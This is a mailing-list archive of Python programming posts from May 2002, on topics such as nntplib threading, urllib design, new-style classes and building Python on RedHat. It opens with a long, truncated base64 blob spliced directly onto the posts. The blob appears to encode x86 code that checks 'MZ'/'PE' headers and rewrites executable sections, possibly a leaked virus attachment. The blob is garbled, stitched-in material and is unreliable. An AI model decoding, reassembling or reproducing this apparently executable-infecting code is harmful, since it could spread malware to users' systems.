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 IAAAWWoBWOsXjU3k6A29//+Nhcj+//9 From m.laranjeira at datacraft.com.br Fri May 17 13:01:53 2002 From: m.laranjeira at datacraft.com.br (Marcus Laranjeira) Date: Fri, 17 May 2002 14:01:53 -0300 Subject: Bar and Pie Graphs Message-ID: <67F0CEAF5F0ED411B53900508BC5C8BC7000FC@admin.datacraft.com.br> All, I am writing a report generator in python and I need to create some 3D bar and pie graphs, just like the graphs created using microsoft excel. Do you know how could this be done ? do anyone know a module I can use for this ? Any help is good ! Thanks Marcus SP-Brasil --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.360 / Virus Database: 199 - Release Date: 07/05/02 -------------- next part -------------- An HTML attachment was scrubbed... URL: From robert_kuzelj at yahoo.com Wed May 29 16:25:22 2002 From: robert_kuzelj at yahoo.com (Robert Kuzelj) Date: 29 May 2002 13:25:22 -0700 Subject: changing new style classes py2.2 Message-ID: hi, i am having some problems using new style classes. i want to build something like an class-enhancer so i need write-access to the class.__dict__. but this seems to be forbidden now as opposed to oldsytle classes. >>> #some examples >>class A(object): >>..def meth1(self): pass >>..def meth2(self): pass >> A.__dict__["meth3"] = A.meth1 this throws "TypeError: object does not support item assignment" this was perfectly legal in old style classes. on the other hand this is still legal (that means it still works without error). >>A.meth3 = A.meth1 so i could at least workaround by writing the following code >>exec "A.%(name1)s = A.%(name2)s" % {"name1": "meth5", "name2": "meth1"} not very clear or very pythonic. besides the fact, that this behaviour seems to be inconsistent with the old-style it is inconsistent with it self. either one can change a class (then it should be possible by writing to the __dict__) or one can not. the workaraound is simply ugly (and sure is slower). ciao robertj From lenssen at hitnet.rwth-aachen.de Sun May 5 18:45:27 2002 From: lenssen at hitnet.rwth-aachen.de (Philipp Lenssen) Date: Mon, 6 May 2002 00:45:27 +0200 Subject: Choose Your Own Adventure References: <3CD5A2DB.F9FBF976@alcyone.com> <3CD5ABA8.E37F1ED8@alcyone.com> Message-ID: "Erik Max Francis" wrote in message news:3CD5ABA8.E37F1ED8 at alcyone.com... >.. > It is true that trademarked terms that come into household usage will > lose their trademark after litigation. This, however, has not happened > with "Choose Your Own Adventure" (at least not to my knowledge). But do > you really want to be the one to litigate this issue? Wouldn't it be > easier to choose something that is free of trademark violation issues? >.. The term CYOA is used, as I explained, to describe exactly what QML produces, all around the web and newsgroups. If I want to quickly explain what QML does I need to use this term without many alternatives, and this will help anybody accessing the site. Added to CYOA I use other different terms to get the point across -- hyperfiction, multiple-choice, gamebook -- but none of these are 100% accurate and as quickly understood (one could argue even misleading in some cases; hyperfiction connected to multi-user authoring, multiple-choice to tests, gamebooks to paper). Please note that I *don't* use "Choose Your Own Adventure" for the tagline in the QML-logo, because I don't want to directly connect a general term with a special piece of software and claim it mine. Instead I opted for "Create Your Own Adventure". If somebody else trademarked this phrase I will freely let it go and choose something else, since QML is intended as freeware project and not a legal hassle. (Hmm, maybe I would then go for "QML - The Choice of a New Generation".) Please also note that I chose "W?hl-Deine-Eigene-Geschichte Spielsystem" in the german translation. Now, to avoid confusion I *could* add a note on the copyright page stating QML is in no way connected to Distributor XYZ. Ironically, this would suddenly start search engines to return the QML website if the user enters "Distributor XYZ" as keyword, when actually that would be a clear indicator she's looking not for CYOA in general, but a very specific kind of series. (Even if a someone would stumble on QML accidentaly this way and like it, attracting the right people in the wrong way cannot be in my interest.) From eppstein at ics.uci.edu Wed May 1 17:31:54 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Wed, 01 May 2002 14:31:54 -0700 Subject: Macintosh Question References: Message-ID: In article , Cliff Wells wrote: > Not a Mac user, but perhaps dropping a file on the icon will call the script > with the name of the dropped file as an argument? If so then you can use > either sys.argv or getopt.getopt to access the filename. Yes, sys.argv will work, with compiled Python applets (if the user has installed Python) or applications (if you can get application compilation to work, I can't). I haven't tried the getopt variation. -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From tjreedy at udel.edu Wed May 1 12:58:35 2002 From: tjreedy at udel.edu (Terry Reedy) Date: Wed, 01 May 2002 16:58:35 GMT Subject: Defining new functions at runtime References: Message-ID: <%8Vz8.13162$n7.878565@bin8.nnrp.aus1.giganews.com> "Mark McEahern" wrote in message news:mailman.1020269105.25282.python-list at python.org... > I'm curious how you will restrict what they can do? OP should look into bastion and rexec modules From cliechti at gmx.net Tue May 21 21:57:10 2002 From: cliechti at gmx.net (Chris Liechti) Date: 22 May 2002 03:57:10 +0200 Subject: Extending: overloading operators (e.g. for a vector class) Message-ID: say i have the follwing class (details ommited): class Vector2D: def __init__(self, x=0, y=0): self.x, self.y = x, y ... def __mul__(self, other): if type(other) in (int, float): return Vector2D( self.x*other, self.y*other ) else: raise NotImplementedError now i want to program this as a C extension type (for practise, i know that there are existing extensions to represent a vector). it seems to me tp_as_number supports __mul__ for numbers, but only for instances of the same type, a coercion function (nb_coerce) can help in some cases (e.g. converting a complex), but i can't use it to represent a scalar (int, long, float) in this case. and there seems so be an other place where a __mul__ can be emulated: sq_repeat for sequences. can/must i define both, or none? should i provide these methods (__mul__, __add__ etc.) throug getattr and implement them just as i would do it when not overloading an operator (like defining a .multiply(other) method but name it __mul__)? i expect similar problems when using __add__ with a tuple/list etc. (i first thought that the % operator of strings could be a source of information, but i found out that this is handled as special case :-( thanks for any hints, pointers, examples... chris -- Chris From sholden at holdenweb.com Tue May 7 08:29:11 2002 From: sholden at holdenweb.com (Steve Holden) Date: Tue, 7 May 2002 08:29:11 -0400 Subject: making python scripts backwards compatible References: <13285ea2.0205042356.15ab8c30@posting.google.com> <13285ea2.0205061603.46d4cce@posting.google.com> Message-ID: "J.Jacob" wrote in message news:13285ea2.0205061603.46d4cce at posting.google.com... > > [Steve Holden] > > ...and of course you *did* make sure your patches are available so others > > needing the same feature can easily get hold of them, right? > > It was just a quick hack to see if it would work with python 1.5.2, > but anyway here it is: > http://www.liacs.nl/~jjacob/xmlrpc152.zip > > To start a server: > python SimpleXMLRPCServer.py > To start a client on the same computer using that server: > python clocal.py > > Replace 'localhost' in the clocal.py script with the server IP number > if the server is on another computer. > > NOTE that the xmlrpclib.py and SimpleXMLRPCServer.py scripts are NOT > the original anymore ! > > > [Steve Holden] > > ...and, if so, you *are* going to track future changes to the module so your > > backward-s compatible version remains forward-compatible to later Pythons, > > right? > > I got your point :) It was just for demonstration purposes. > > later: > Tried to put something on sourceforge but could not get cvs to work > from Windows, gave up after about 1 hour. Anybody knows a good cvs > program for windows that is compatible with sourceforge !?!? (so you > can do just what they say on the 'cvs-help' page) I've simply used the cygwin cvs with very few problems (in fatc none I can remember that weren't simply due to my misunderstanding of CVS). regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From aleax at aleax.it Sun May 12 10:38:38 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 12 May 2002 14:38:38 GMT Subject: Iterating over the cells of an array? References: Message-ID: Fernando P?rez wrote: ... > ravel is I believe a copy operation, much more expensive than a call to Chacking isn't all that expensive, is it? >>> x=Numeric.array([range(n,n+4) for n in range(3)]) >>> x array([[0, 1, 2, 3], [1, 2, 3, 4], [2, 3, 4, 5]]) >>> f=Numeric.ravel(x) >>> f array([0, 1, 2, 3, 1, 2, 3, 4, 2, 3, 4, 5]) >>> x[1,1]=111 >>> x array([[ 0, 1, 2, 3], [ 1, 111, 3, 4], [ 2, 3, 4, 5]]) >>> f array([ 0, 1, 2, 3, 1, 111, 3, 4, 2, 3, 4, 5]) >>> Alex From jblazi at hotmail.com Fri May 31 06:19:00 2002 From: jblazi at hotmail.com (jb) Date: Fri, 31 May 2002 12:19:00 +0200 Subject: Using nntplib References: <3cf633df_2@news.newsgroups.com> <04sJ8.51500$%u2.49899@atlpnn01.usenetserver.com> <3cf65536_3@news.newsgroups.com> Message-ID: <3cf74c6f_1@news.newsgroups.com> Steve Holden wrote: > Well I'm not sure why you think nntplib changes would be required. Perhaps > I didn't explain myself clearly. You were suggesting having a GUI thread > and a "worker" thread (if I understood you). I was simply saying that the > worker thread could use XOVER to find out what messages are available, and > then retrieve them (using the standard nntplib features) and queue them > for the GUI thread to display. The sample code I referenced shows how, > with no nntplib changes. Clearly the messages would need to be available > to other worker threads as well. Alas! this is not a very good solution (or I basically do not understand, what is going on). Let us assume I send a LIST command. Then, if everything is in order, the server will send an immediate response: "215 list of newsgroups follows". Then I start the other thread and this other thread starts waiting for the lines. Possibly I can wake it up avery second to look if anything is there. Now let us assume, 50000 lines will follow. (Nowadays, if your host is for example 'goliath.newsfeeds.com', 100,000 lines might follow as well and could be stored locally in main memory.) Sending and receiving those lines takes some time and even if my user interface is still responsive (as I use another thread), still during all this time I cannot tell the user of the nntlib call, how many lines have arrived already. This is obviously not acceptable. Additionally, you would use some GUI (Qt in my case) where you would have a main loop. That means, that you end up with doing "multitasking" in two very different ways and maybe this is not a very trustworthy solution. The best possibility seems to me, to rewrite nntplib, so that it fits in with Qt and as the NNTP protocol is very simple and nntplib is very clearly written, this seems to be simple. Maybe I shall try it. -- Janos Blazi "Il n'y a gu?re dans la vie qu'une pr?occupation grave: c'est la mort;" (Dumas) -----------== Posted via Newsfeeds.Com - Uncensored Usenet News ==---------- http://www.newsfeeds.com The #1 Newsgroup Service in the World! -----= Over 100,000 Newsgroups - Ulimited Fast Downloads - 19 Servers =----- From cpbotha at i_triple_e.org Sat May 11 08:52:06 2002 From: cpbotha at i_triple_e.org (Charl P. Botha) Date: Sat, 11 May 2002 12:52:06 +0000 (UTC) Subject: Make a executable References: Message-ID: In article , Alex Martelli wrote: > Ludovic Fotin wrote: > ... >> I would know if it's possible to make an executable to use it on a >> computer without Python installed > I don't find compilators >> On whatever OS (Win32 or Linux). > > http://starship.python.net/crew/theller/py2exe/ Also look at the McMillan Installer at: http://www.mcmillan-inc.com/install1.html -- charl p. botha http://cpbotha.net/ http://visualisation.tudelft.nl/ From ws-news at gmx.at Thu May 2 10:55:43 2002 From: ws-news at gmx.at (Werner Schiendl) Date: Thu, 2 May 2002 16:55:43 +0200 Subject: internationalization problem... References: <3cd12f56$1@brateggebdc5.br-automation.co.at> <28e2du8f1jacggesbq6vdqqctn5424tq7l@4ax.com> Message-ID: <3cd15360$1@brateggebdc5.br-automation.co.at> Hi, you must first convert the data you read from the file to unicode. As Martin already suggested: utf8_string = get_data_from_somewhere() target_string = unicode(utf8_string, 'utf-8').encode('iso-8859-2') or, in your example, use x = unicode(buf[1], 'utf-8') instead of x = buf[1] hth Werner "Johann" wrote in message news:28e2du8f1jacggesbq6vdqqctn5424tq7l at 4ax.com... > On Thu, 02 May 2002 14:33:50 +0200, Johann > wrote: > > >>use the 'right' names for the encodings: > >> > >>>>> x=u'some text' > >>>>> x.encode('iso-8859-1') > >>'some text' > >>>>> x.encode('iso-8859-2') > >>'some text' > > > >THANX! It solve everything. :-) > > Not exactly. I checked it carefully. It does not work as I wanted. :-( > Let mi show an example. I created with XMLSpy a file coded to utf-8: > > >
a??c??l??n??o??s??z??x??
> > In interpreter I wrote: > > fh = open(path + r'\utf8.xml', 'r') > buf = fh.readlines() > fh.close() > x = buf[1] > print x > >
a?????c?????l?????n?????o????s?????z????x????
> > for c in x.encode('ISO-8859-2'): print c, > > < m a i n > a ?? ??? c ?? ??? l ?? ??? n ?? ??? o ?? ?? s ?? ??? z ?? > ?? x ?? ?? < / m a i n > > > There are splitted (2-byte) utf-8 characters into two independent > 8-bit characters. :-( It is not conversion from utf-8 to iso-8859-2 at > all. I found ot works correctly but only for... 7-bit u'strings'. I > > -- > Johann From gerhard at bigfoot.de Thu May 9 15:23:22 2002 From: gerhard at bigfoot.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Thu, 9 May 2002 21:23:22 +0200 Subject: Python vs. Perl, which is better to learn? In-Reply-To: References: <3CDAA5A5.D4077E5C@fnal.gov> <3CDAB85B.C49BABD9@fnal.gov> Message-ID: <20020509192322.GA16344@lilith.my-fqdn.de> * Aahz [2002-05-09 14:04 -0400]: > In article <3CDAB85B.C49BABD9 at fnal.gov>, > David J. Ritchie wrote: > >David deleted Aahz's attribution: > >> > >> Actually, I have a different point: why are you moving blocks of code? > > > >It's a matter of writing in which I move from a rough draft to a final > >document (whether code or natural language). > > Could you provide an example in which you did this for code? Aahz, I don't get it why you're insisting on this. Would "refactoring" ring any bells? Yes, I do it myself, and yes, it's a non-issue with vim. Gerhard -- mail: gerhard bigfoot de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple('zS^BED\nX_FOY\x0b'))) From gh_pythonlist at gmx.de Tue May 28 04:22:40 2002 From: gh_pythonlist at gmx.de (Gerhard =?iso-8859-15?Q?H=E4ring?=) Date: Tue, 28 May 2002 10:22:40 +0200 Subject: mx library In-Reply-To: <3CF338E5.F3F0931C@katamail.com> References: <3CF338E5.F3F0931C@katamail.com> Message-ID: <20020528082240.GA505@lilith.my-fqdn.de> * Yallowman [2002-05-28 09:59 +0200]: > I need us mx library on RedHat 6.2. Where can i find this rpm ? In the dist/ directory. Don't believe me? Download the egenix-mx Extensions from Marc-Andr?'s homepage, unpack them, enter in the directory and issue: $ python setup.py build $ python setup.py bdist_rpm You could skip the rpm creation step and just install the mx-Extensions with: $ python setup.py install Using the RPM has the advantage of easier uninstalling. Gerhard -- This sig powered by Python! Au?entemperatur in M?nchen: 8.3 ?C Wind: 3.6 m/s From paul at boddie.net Wed May 22 07:43:48 2002 From: paul at boddie.net (Paul Boddie) Date: 22 May 2002 04:43:48 -0700 Subject: Compiling python2.2.1 on redHat 6.1 - doesn't work References: Message-ID: <23891c90.0205220343.4aa581c8@posting.google.com> matthew.russell at securetrading.com (Matt Russell) wrote in message news:... > Hi, I have been attempting to compile python 2.2.1 (compiled from > source) > > > Machine info: > Red Hat Linux release 6.1 (Cartman) I have the same operating system running on my laptop - so I'll probably try this at some point. [...] > ./Modules/posixmodule.c: In function `posix_nice': > ./Modules/posixmodule.c:1270: warning: implicit declaration of > function > `getpriority' > ./Modules/posixmodule.c:1270: `PRIO_PROCESS' undeclared (first use in > this > function) > ./Modules/posixmodule.c:1270: (Each undeclared identifier is reported > only > once > ./Modules/posixmodule.c:1270: for each function it appears in.) > make: *** [Modules/posixmodule.o] Error > > > Anyone got any ideas? please??! Yes, the posixmodule expects a declaration which obviously isn't found. I would suspect that since 2.1 (which is the most recent release I've built), either posixmodule has been enhanced and is no longer compatible with RH6.1 "out of the box", or that your build configuration isn't quite right. On RH7.x, the following files contain some kind of definition of PRIO_PROCESS: /usr/include/bits/resource.h /usr/include/linux/resource.h It would surprise me if the latter of these header files was "standard" for building application programs or software like Python. Perhaps you need to modify the build configuration to search the former file when building posixmodule. Paul From paul at boddie.net Wed May 8 06:03:09 2002 From: paul at boddie.net (Paul Boddie) Date: 8 May 2002 03:03:09 -0700 Subject: urllib, urllib2, httplib -- Begging for consolidation? References: Message-ID: <23891c90.0205080203.7af29579@posting.google.com> brueckd at tbye.com wrote in message news:... > On Tue, 7 May 2002, A. Keyton Weissinger wrote: > > > Am I the only one that thinks these need to be pulled together some? I saw a > > PEP (268?) where there are some rumblings about adding some things to it as > > well. Maybe a combo project? > > Yes, part of the problem is that it's not obvious when you should use > which (e.g. urllib vs. urllib2). Indeed. > BUT, if there were to occur some sort of consolidation (meaning, > introducing incompatibilities or a whole new module), then we should use > that as an opportunity to restructure/redesign that whole set of modules > because, IMO, they've evolved past their original design. If we can come > up with a good organization, the actual implementation could be handled by > various members of the community. I think we should stick with the urlopen concept because it's very powerful - just open a URL and pretend that it's a file. The clever design will arise when specialised features of various protocols need to be specified whilst using the general interface, but then there are plenty of other packages which deal with this kind of problem; for example, the DB-API has ways of allowing database-specific functionality to be specified when opening database connections. > The original premise of urllib, that it helps your app open any type of > URL in roughly the same way, is pretty neat but now both urllib and > urllib2 have lots of stuff tacked on that is pretty HTTP-specific. Also, > I usually need to support only one protocol and I know in advance which > that is (usually HTTP, sometimes FTP), but the httplib docs imply that > httplib is more of an internal module. What I found, after experimentation, was that httplib just wasn't needed for my purposes. I wrongly believed that redirects weren't going to be handled by urlopen and that I would have to extend various httplib classes to get the required functionality, but in fact urlopen proved to handle everything I needed in a transparent way. > So... if we were to change something, I'd like us to build a rich HTTP > library that supports the super easy use case (gimme the data at this URL, > optionally posting this data right here first) as well as more complicated > cases (add in these request headers before sending the request to the > origin). It would be in this module (or one closely tied to it) that we'd > capture knowledge about the HTTP protocol, such as parsing and building > HTTP 1.0 and 1.1 compliant request and response headers, handling cookies, > basic and digest authentication, '\n' vs. '\r\n' line endings, easy-to-use > HTTPS, etc. Supporting routines (like quote, urlencode, urlparse) can > either be imported and exposed through the HTTP module, or kept in a > module with better definied boundaries. I'd like to see support for FTP and other protocols being just as important as HTTP, especially since I haven't had as much luck with FTP in conjunction with urlopen as I have with HTTP, although these problems can be extremely hard to diagnose sometimes. I strongly disagree that URL manipulation should be accessed through a HTTP-specific module - the last thing we need is a "beware of the leopard" situation in the standard library (where things are tucked away in obscure or bizarre places, depending on the context of the enquiry). > We could take the same approach with other protocols, and include modules > for FTP, plain files, etc. With all those in place we could still have the > "open any type of URL" routine built on top, but it should work only for > the simplest of use cases; if you need something more complex then you'd > go use the corresponding protocol library yourself. The key to this exercise is making the uncommon case almost as easy to handle as the common case so that one doesn't necessarily need to learn a completely new framework in order to get that 1% of functionality that the common case doesn't deal with. > I'm not suggesting that we scrap the current protocol modules (they've be > very, very useful); it's just that over time they've grown up and are due > for some redesign/refactoring (the kind that will not be backwards > compatible). I think that various parts of urllib can be retained in an almost-backward-compatible way, but I'm not so sure about httplib. Paul From max at alcyone.com Sun May 19 16:44:07 2002 From: max at alcyone.com (Erik Max Francis) Date: Sun, 19 May 2002 13:44:07 -0700 Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58757.5146706E@alcyone.com> <3CE59F5C.B35CAC28@alcyone.com> <5gTF8.58861$i42.10158@atlpnn01.usenetserver.com> Message-ID: <3CE80E97.B6445F2C@alcyone.com> Steve Holden wrote: > Well, in my case I'm disagreeing that there ought to be a line at all. > If we > can have lists and tuples, I don't see any reason why we couldn't have > two > flavours of set as well. But we _don't_ have two flavors of dictionaries. That's the most direct analogue in terms of implementation. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From rmelson at gilia.nmsu.edu Wed May 1 10:55:47 2002 From: rmelson at gilia.nmsu.edu (Bob Melson) Date: 1 May 2002 14:55:47 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: In article , aahz at pythoncraft.com (Aahz) writes: > In article , > Bob Melson <"melsonr at earthlink.net"> wrote: >> >>Look at it this way -- you pick the best language tool to do the job at > Fine sentiment. Now, under what circumstances would you recommend Perl > over Python? Kinda hard to say. In general, however, I'd say that _I_ would be inclined to use perl in preference to python where there's no significant advantage to be derived from python's OO features. Bob Melson From logiplexsoftware at earthlink.net Thu May 23 17:36:37 2002 From: logiplexsoftware at earthlink.net (Cliff Wells) Date: Thu, 23 May 2002 14:36:37 -0700 Subject: Python Usage In-Reply-To: <20020520014027.26036.qmail@web21306.mail.yahoo.com> References: <20020520014027.26036.qmail@web21306.mail.yahoo.com> Message-ID: <20020523143637.7c7ec30c.logiplexsoftware@earthlink.net> On Sun, 19 May 2002 18:40:27 -0700 (PDT) cddlens at yahoo.com wrote: > Is Python commonly used throughout an enterprise (such > as within IT, MIS) for script generation, or mostly by > software groups and teams that have dedicated > programmers writing full-blown applications? Is often > used by system managers as a replacement for batch > files or multiplatform scripting? Is it more common > within software/technology organizations or within > other sectors such as financial and manufacturing? Yes or yes, but that depends upon your application. -- Cliff Wells, Software Engineer Logiplex Corporation (www.logiplex.net) (503) 978-6726 x308 (800) 735-0555 x308 From alan.collins at pobox.com Tue May 14 16:55:03 2002 From: alan.collins at pobox.com (Alan Collins) Date: Tue, 14 May 2002 22:55:03 +0200 Subject: page blank after refresh. References: Message-ID: Um, please ignore. I was being a plonker. Mark sorted me out. "Alan Collins" wrote in message news:aboo3r$h2s$1 at 